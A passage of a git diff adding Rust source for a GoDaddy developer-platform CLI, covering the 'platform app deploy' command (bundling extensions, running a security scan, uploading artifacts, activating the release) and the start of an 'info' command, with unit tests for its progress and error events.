UploadOptions}; + +/// One extension entry from godaddy.toml ready for deploy: name, handle, +/// source, type, and target surfaces (empty for blocks / untargeted). +pub(super) struct ExtensionDeploy { + name: String, + handle: String, + source: String, + ext_type: crate::extension::ExtensionType, + targets: Vec, +} + +pub(super) fn collect_extensions(config: &crate::config::Config) -> Vec { + let mut result = Vec::new(); + if let Some(exts) = &config.extensions { + for e in &exts.embed { + result.push(ExtensionDeploy { + name: e.name.clone(), + handle: e.handle.clone(), + source: e.source.clone(), + ext_type: crate::extension::ExtensionType::Embed, + targets: e.targets.iter().map(|t| t.target.clone()).collect(), + }); + } + for e in &exts.checkout { + result.push(ExtensionDeploy { + name: e.name.clone(), + handle: e.handle.clone(), + source: e.source.clone(), + ext_type: crate::extension::ExtensionType::Checkout, + targets: e.targets.iter().map(|t| t.target.clone()).collect(), + }); + } + if let Some(blocks) = &exts.blocks { + result.push(ExtensionDeploy { + name: "Blocks".to_owned(), + handle: "blocks".to_owned(), + source: blocks.source.clone(), + ext_type: crate::extension::ExtensionType::Blocks, + targets: Vec::new(), + }); + } + } + result +} + +/// Resolve the upload target(s) for one extension. A blocks extension always +/// uploads to the `blocks` target; embed/checkout upload once per configured +/// target, or a single untargeted upload (`None`) when none are configured. +fn resolve_upload_targets( + ext_type: crate::extension::ExtensionType, + targets: &[String], +) -> Vec> { + match ext_type { + crate::extension::ExtensionType::Blocks => vec![Some("blocks".to_owned())], + _ if targets.is_empty() => vec![None], + _ => targets.iter().cloned().map(Some).collect(), + } +} + +fn upload_completed_event( + extension_name: &str, + target: &Option, + is_final_target: bool, + index: usize, + total: usize, +) -> Value { + let mut event = json!({ + "type": "progress", + "name": "extension.upload", + "status": "completed", + "extensionName": extension_name, + "target": target, + }); + if is_final_target { + event["percent"] = json!(index * 100 / total.max(1)); + } + event +} + +pub(super) struct DeployExtensionArgs<'a> { + pub(super) application_id: &'a str, + pub(super) release_id: &'a str, + pub(super) ext: &'a ExtensionDeploy, + pub(super) index: usize, + pub(super) total: usize, + pub(super) deploy_timestamp: &'a str, +} + +pub(super) async fn deploy_extension( + client: &ApplicationClient, + sender: &StreamSender, + args: DeployExtensionArgs<'_>, +) -> cli_engine::Result<()> { + let DeployExtensionArgs { + application_id, + release_id, + ext, + index, + total, + deploy_timestamp, + } = args; + let ext_name = &ext.name; + let ext_type = ext.ext_type; + + // ---- Bundle ---- + sender + .send(json!({ + "type": "progress", + "name": "extension.bundle", + "status": "started", + "extensionName": ext_name, + "percent": ((index - 1) * 100 / total.max(1)), + })) + .await; + + let repo_root = crate::extension::repo_root_from_cwd(); + let (ext_dir, source) = + crate::extension::resolve_extension_paths(&repo_root, &ext.handle, &ext.source, ext_name) + .map_err(super::super::validation_err)?; + crate::extension::require_extension_source_file(ext.handle.as_str(), ext_name, &source) + .map_err(super::super::validation_err)?; + let bundle = crate::extension::bundle_extension( + &source, + ext_type, + &ext_dir, + crate::extension::BundleOptions { + name: &ext.handle, + version: None, + repo_root: &repo_root, + timestamp: Some(deploy_timestamp), + }, + ) + .await + .map_err(|e| super::super::validation_err(format!("bundle failed for '{ext_name}': {e}")))?; + // Always clean temp artifacts when this function returns (success or error). + let _bundle_cleanup = crate::extension::BundleCleanup::new(&bundle); + + sender + .send(json!({ + "type": "progress", + "name": "extension.bundle", + "status": "completed", + "extensionName": ext_name, + "artifactName": bundle.artifact_name, + "artifactPath": bundle.artifact_path.display().to_string(), + "size": bundle.size, + "sha256": bundle.sha256, + "sourcemapPath": bundle.sourcemap_path.as_ref().map(|p| p.display().to_string()), + })) + .await; + + // ---- Security scan ---- + sender + .send(json!({ + "type": "progress", + "name": "extension.scan", + "status": "started", + "extensionName": ext_name, + "artifactName": bundle.artifact_name, + })) + .await; + + let source_display = ext.source.as_str(); + let content = String::from_utf8_lossy(&bundle.bytes); + let findings = crate::extension::scan_bundle(&content, source_display); + + if crate::extension::is_blocked(&findings) { + let blocked_msgs: Vec = findings + .iter() + .filter(|f| f.severity == crate::extension::Severity::Block) + .map(|f| { + if f.snippet.is_empty() { + format!(" {} ({}:{}): {}", f.rule_id, f.file, f.line, f.message) + } else { + format!( + " {} ({}:{}): {}\n > {}", + f.rule_id, f.file, f.line, f.message, f.snippet + ) + } + }) + .collect(); + return Err(crate::error::GddyError::security(format!( + "security scan blocked deployment of '{ext_name}':\n{}", + blocked_msgs.join("\n") + )) + .into_cli_error()); + } + + sender + .send(json!({ + "type": "progress", + "name": "extension.scan", + "status": "completed", + "extensionName": ext_name, + "findings": findings.len(), + })) + .await; + + let bytes = bytes::Bytes::from(bundle.bytes); + + // Upload the bundle once per configured target (blocks -> "blocks"; + // embed/checkout -> each target, or a single untargeted upload). + let upload_targets = resolve_upload_targets(ext_type, &ext.targets); + for (target_index, target) in upload_targets.iter().enumerate() { + sender + .send(json!({ "type": "progress", "name": "extension.upload", "status": "started", "extensionName": ext_name, "target": target })) + .await; + + let mut upload_input = json!({ + "applicationId": application_id, + "releaseId": release_id, + "contentType": "JS", + }); + if let Some(t) = target { + upload_input["target"] = json!(t); + } + + let upload_data = client + .generate_upload_url(upload_input) + .await + .map_err(super::super::client_err)?; + + let upload = &upload_data["generateReleaseUploadUrl"]; + let upload_url = upload["url"].as_str().unwrap_or("").to_owned(); + let upload_id = upload["uploadId"].as_str().unwrap_or("").to_owned(); + let max_size_bytes = upload["maxSizeBytes"].as_u64(); + + // Parse required headers from ["key:value"] array + let mut headers = serde_json::Map::new(); + if let Some(arr) = upload["requiredHeaders"].as_array() { + for h in arr { + if let Some(s) = h.as_str() + && let Some((k, v)) = s.split_once(':') + { + headers.insert(k.trim().to_owned(), json!(v.trim())); + } + } + } + + client + .upload_artifact( + &upload_url, + &upload_id, + &json!(headers), + max_size_bytes, + bytes.clone(), + UploadOptions::default(), + ) + .await + .map_err(super::super::client_err)?; + + sender + .send(upload_completed_event( + ext_name, + target, + target_index + 1 == upload_targets.len(), + index, + total, + )) + .await; + } + + Ok(()) +} + +#[cfg(test)] +mod tests { + #[test] + fn resolve_upload_targets_by_type() { + use crate::extension::ExtensionType; + + // Blocks always uploads to the fixed "blocks" target. + assert_eq!( + super::resolve_upload_targets(ExtensionType::Blocks, &[]), + vec![Some("blocks".to_owned())] + ); + // Embed/checkout with no targets: a single untargeted upload. + assert_eq!( + super::resolve_upload_targets(ExtensionType::Embed, &[]), + vec![None] + ); + // Embed/checkout with targets: one upload per target. + assert_eq!( + super::resolve_upload_targets( + ExtensionType::Checkout, + &["a".to_owned(), "b".to_owned()] + ), + vec![Some("a".to_owned()), Some("b".to_owned())] + ); + } + + #[test] + fn final_target_completion_preserves_legacy_upload_event() { + let target = Some("admin.product.detail".to_owned()); + + let event = super::upload_completed_event("widget", &target, true, 1, 1); + + assert_eq!( + event, + serde_json::json!({ + "type": "progress", + "name": "extension.upload", + "status": "completed", + "extensionName": "widget", + "target": "admin.product.detail", + "percent": 100, + }) + ); + } +} diff --git a/rust/src/application/commands/deploy/mod.rs b/rust/src/application/commands/deploy/mod.rs new file mode 100644 index 0000000..e84515a --- /dev/null +++ b/rust/src/application/commands/deploy/mod.rs @@ -0,0 +1,397 @@ +//! `gddy platform app deploy` — bundle, scan, and upload an application's +//! extensions, streaming progress as JSON events. Extension-level bundling +//! and upload logic lives in [`extensions`]. + +use cli_engine::{ + CommandSpec, NextAction, NextActionParam, RuntimeCommandSpec, StreamSender, Tier, +}; +use serde_json::{Value, json}; + +use extensions::DeployExtensionArgs; + +use crate::application::client::{ApplicationClient, api_url_for_env}; +use crate::next_action::{next_action, required_value}; +use crate::scopes::{APP_REGISTRY_READ, APP_REGISTRY_WRITE}; + +mod extensions; + +/// Builds the terminal `{"type":"error",...}` event for a streaming command, +/// reusing `cli_engine::build_error_envelope` so the `code`/`message`/`fix` +/// match what a non-streaming command would have rendered for the same error. +fn deploy_error_event(err: &cli_engine::CliCoreError) -> Value { + let envelope = cli_engine::build_error_envelope(err, "applications"); + // `build_error_envelope` always populates `.error` with a non-empty code; + // this fallback only guards against a future change to that guarantee. + let (code, message) = envelope + .error + .map(|e| (e.code, e.message)) + .unwrap_or_else(|| ("ERROR".to_owned(), err.to_string())); + let mut event = json!({ + "type": "error", + "ok": false, + "error": { "code": code, "message": message }, + "next_actions": [], + }); + if let Some(fix) = envelope.fix.filter(|f| !f.is_empty()) { + event["fix"] = json!(fix); + } + event +} + +/// Emit the terminal error event on a streaming command, then return the +/// error so the handler can still fail the run via `?`. +async fn fail_deploy( + sender: &StreamSender, + err: cli_engine::CliCoreError, +) -> cli_engine::CliCoreError { + sender.send(deploy_error_event(&err)).await; + err +} + +/// Next-actions after a successful deploy. +pub(super) fn deploy_next_actions(name: &str) -> Vec { + vec![ + next_action( + "platform app enable --store-id ", + "Enable the application on a store", + ) + .with_param("name", required_value(name)) + .with_param("store-id", NextActionParam::required()), + next_action( + "platform app info --name ", + "Inspect deployment status", + ) + .with_param("name", required_value(name)), + next_action("platform app deploy --name ", "Rerun deployment") + .with_param("name", required_value(name)), + ] +} + +/// Builds the terminal `{"type":"result",...}` event for a successful +/// `platform app deploy` run. +fn deploy_result_event( + name: &str, + application_id: &str, + release_id: &str, + extensions: usize, +) -> Value { + json!({ + "type": "result", + "ok": true, + "result": { + "application": name, + "applicationId": application_id, + "releaseId": release_id, + "extensions": extensions, + "status": "ACTIVE", + }, + "next_actions": deploy_next_actions(name), + }) +} + +/// Wrap a fallible step: on `Err`, emit the terminal error event before +/// propagating, so every failure path produces exactly one terminal line. +async fn tap_deploy_err( + sender: &StreamSender, + result: cli_engine::Result, +) -> cli_engine::Result { + match result { + Ok(v) => Ok(v), + Err(e) => Err(fail_deploy(sender, e).await), + } +} + +#[derive(Debug, Clone, clap::Args)] +struct DeployArgs { + /// Application name. + #[arg(long, short = 'n', value_name = "NAME")] + name: String, +} + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_streaming::( + CommandSpec::from_args::( + "deploy", + "Deploy an application, streaming progress events", + ) + .with_long( + "Read godaddy.toml from the current directory, bundle all declared \ + extensions with esbuild, run the security scanner (rules \ + SEC101–SEC115) on each bundle, then upload the artifacts to the \ + latest release of the named application. Progress is streamed as \ + JSON events. A release must exist before deploying; create one with \ + `gddy platform app release`.", + ) + .with_system("applications") + .with_tier(Tier::Mutate) + .with_scopes(&[APP_REGISTRY_READ, APP_REGISTRY_WRITE]), + |ctx, args: DeployArgs, sender: StreamSender| async move { + let name = args.name; + let env = ctx.middleware.env.clone(); + let token = tap_deploy_err(&sender, ctx.credential().await).await?.token; + let base_url = tap_deploy_err(&sender, api_url_for_env(&env)).await?; + let client = ApplicationClient::new(base_url, token); + + sender + .send(json!({ "type": "step", "name": "auth.check", "status": "completed" })) + .await; + + // Read the local godaddy.toml + sender + .send(json!({ "type": "step", "name": "config.read", "status": "started" })) + .await; + let config_path = crate::config::config_path(Some(&env)); + let config = tap_deploy_err( + &sender, + crate::config::read_config(&config_path).map_err(|e| { + crate::error::GddyError::config(format!("config read failed: {e}")) + .into_cli_error() + }), + ) + .await?; + sender + .send(json!({ "type": "step", "name": "config.read", "status": "completed", "path": config_path.display().to_string() })) + .await; + + // Look up the application and its latest release + sender + .send(json!({ "type": "step", "name": "application.lookup", "status": "started" })) + .await; + let app_data = tap_deploy_err( + &sender, + client + .get_application_with_releases(&name) + .await + .map_err(super::client_err), + ) + .await?; + let app = &app_data["application"]; + if app.is_null() { + let err = + crate::error::GddyError::not_found(format!("application '{name}' not found")) + .into_cli_error(); + return Err(fail_deploy(&sender, err).await); + } + let application_id = app["id"].as_str().unwrap_or("").to_owned(); + sender + .send(json!({ "type": "step", "name": "application.lookup", "status": "completed", "id": application_id })) + .await; + + // Resolve latest release + sender + .send(json!({ "type": "step", "name": "release.lookup", "status": "started" })) + .await; + let release_id = app["releases"]["edges"] + .as_array() + .and_then(|edges| edges.first()) + .and_then(|e| e["node"]["id"].as_str()) + .map(str::to_owned); + let Some(release_id) = release_id else { + let err = cli_engine::CliCoreError::message(format!( + "application '{name}' has no releases — create one first with: gddy platform app release --application-id {application_id} --version 0.0.1" + )); + return Err(fail_deploy(&sender, err).await); + }; + sender + .send(json!({ "type": "step", "name": "release.lookup", "status": "completed", "releaseId": release_id })) + .await; + + // Process each extension + let deploy_extensions = extensions::collect_extensions(&config); + let total = deploy_extensions.len(); + // One timestamp for the whole deploy so all artifacts share a temp root. + let deploy_timestamp = crate::extension::format_timestamp(chrono::Utc::now()); + sender + .send(json!({ "type": "step", "name": "extensions", "status": "started", "total": total })) + .await; + + for (i, ext) in deploy_extensions.iter().enumerate() { + tap_deploy_err( + &sender, + extensions::deploy_extension( + &client, + &sender, + DeployExtensionArgs { + application_id: &application_id, + release_id: &release_id, + ext, + index: i + 1, + total, + deploy_timestamp: &deploy_timestamp, + }, + ) + .await, + ) + .await?; + } + + tap_deploy_err( + &sender, + finalize_deploy_activation(&client, &sender, &application_id, &release_id).await, + ) + .await?; + + sender + .send(json!({ + "type": "step", + "name": "deploy", + "status": "completed", + "application": name, + "extensions": total, + })) + .await; + + sender + .send(deploy_result_event( + &name, + &application_id, + &release_id, + total, + )) + .await; + Ok(()) + }, + ) +} + +/// Finalize a deploy: activate the release, then promote the application to +/// `ACTIVE`. Deploy must activate the release before promoting the application. +async fn finalize_deploy_activation( + client: &ApplicationClient, + sender: &StreamSender, + application_id: &str, + release_id: &str, +) -> cli_engine::Result<()> { + sender + .send(json!({ "type": "step", "name": "release.activate", "status": "started" })) + .await; + client + .activate_release(application_id, release_id) + .await + .map_err(super::client_err)?; + sender + .send(json!({ "type": "step", "name": "release.activate", "status": "completed" })) + .await; + sender + .send(json!({ "type": "step", "name": "application.activate", "status": "started" })) + .await; + client + .update_application(application_id, json!({ "status": "ACTIVE" })) + .await + .map_err(super::client_err)?; + sender + .send(json!({ "type": "step", "name": "application.activate", "status": "completed" })) + .await; + + Ok(()) +} + +#[cfg(test)] +mod tests { + /// `deploy --follow` must end with exactly one terminal line. `StreamSender` + /// has no public constructor outside cli-engine, so the send itself can't + /// be unit-tested here — instead this locks down the shape of the payload + /// that gets sent, which is where the actual logic (error-code derivation) + /// lives. + #[test] + fn deploy_error_event_falls_back_to_error_code_for_a_plain_message() { + let err = cli_engine::CliCoreError::message("application 'foo' not found"); + let event = super::deploy_error_event(&err); + + assert_eq!(event["type"], "error"); + assert_eq!(event["ok"], false); + assert_eq!(event["error"]["code"], "ERROR"); + assert_eq!(event["error"]["message"], "application 'foo' not found"); + assert!(event.get("fix").is_none()); + assert_eq!(event["next_actions"], serde_json::json!([])); + } + + #[test] + fn deploy_error_event_includes_fix_from_gddy_error() { + let err = + crate::error::GddyError::not_found("application 'foo' not found").into_cli_error(); + let event = super::deploy_error_event(&err); + + assert_eq!(event["error"]["code"], crate::error::codes::NOT_FOUND); + assert_eq!(event["error"]["message"], "application 'foo' not found"); + assert!( + event["fix"] + .as_str() + .is_some_and(|f| f.contains("platform app list")), + "expected fix on streaming error event: {event}" + ); + } + + #[derive(Debug)] + struct CodedTestError; + + impl std::fmt::Display for CodedTestError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "upstream rejected the release") + } + } + + impl std::error::Error for CodedTestError {} + + impl cli_engine::DetailedError for CodedTestError { + fn error_code(&self) -> std::borrow::Cow<'static, str> { + "RELEASE_REJECTED".into() + } + + fn error_system(&self) -> Option> { + Some("applications".into()) + } + + fn error_request_id(&self) -> Option> { + None + } + + fn error_fix(&self) -> Option> { + Some("Check release status and retry.".into()) + } + } + + /// Proves `deploy_error_event` actually passes through a real error code + /// (via `build_error_envelope`) rather than always falling back — the + /// fallback-only case above wouldn't catch a regression that hardcoded + /// `"ERROR"`. + #[test] + fn deploy_error_event_passes_through_a_real_error_code() { + let err = cli_engine::CliCoreError::with_detailed_error(CodedTestError); + let event = super::deploy_error_event(&err); + + assert_eq!(event["error"]["code"], "RELEASE_REJECTED"); + assert_eq!(event["error"]["message"], "upstream rejected the release"); + assert_eq!(event["fix"], "Check release status and retry."); + } + + #[test] + fn deploy_result_event_is_ok_with_summary_fields() { + let event = super::deploy_result_event("my-app", "app-123", "rel-456", 2); + + assert_eq!(event["type"], "result"); + assert_eq!(event["ok"], true); + assert_eq!(event["result"]["application"], "my-app"); + assert_eq!(event["result"]["applicationId"], "app-123"); + assert_eq!(event["result"]["releaseId"], "rel-456"); + assert_eq!(event["result"]["extensions"], 2); + assert_eq!(event["result"]["status"], "ACTIVE"); + assert_eq!( + event["next_actions"].as_array().map(|a| a.len()), + Some(3), + "deploy should suggest enable, info, and redeploy: {event}" + ); + assert_eq!( + event["next_actions"][1]["params"]["name"], + serde_json::json!({ "value": "my-app", "required": true }), + "deployed application name should prefill the next action: {event}" + ); + assert!( + event["next_actions"][0]["command"] + .as_str() + .unwrap_or("") + .contains("platform app enable"), + "first next action should enable on a store: {event}" + ); + } +} diff --git a/rust/src/application/commands/info.rs b/rust/src/application/commands/info.rs new file mode 100644 index 0000000..835a781 --- /dev/null +++ b/rust/src/application/commands/info.rs @@ -0,0 +1,73 @@ +//! `gddy platform app info` — fetch full details for a single application. + +use cli_engine::{CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, Tier}; + +use super::schemas::ApplicationSummary; +use crate::next_action::{next_action, required_value}; + +#[derive(Debug, Clone, clap::Args)] +struct InfoArgs { + /// Application name. + #[arg(long, short = 'n', value_name = "NAME")] + name: String, +} + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("info", "Get application details") + .with_long( + "Fetch full details for a single GoDaddy developer-platform \ + application by name, including status, URLs, and authorization \ + scopes. Use `gddy platform app list` to find available names.", + ) + .with_system("applications") + .with_tier(Tier::Read) + .with_output_schema::(), + |ctx, args: InfoArgs| async move { + let name = args.name; + let client = super::make_client(&ctx).await?; + let data = client + .get_application(&name) + .await + .map_err(super::client_err)?; + let app = &data["application"]; + if app.is_null() { + return Err(crate::error::GddyError::not_found(format!( + "application '{name}' not found" + )) + .into_cli_error()); + } + let app_id = app["id"].as_str().unwrap_or("").to_owned(); + Ok(CommandResult::new(app.clone()).with_next_actions(vec![ + next_action( + "platform app validate ", + "Validate application configuration", + ) + .with_param("name", required_value(&name)), + next_action( + "platform app update --id [--label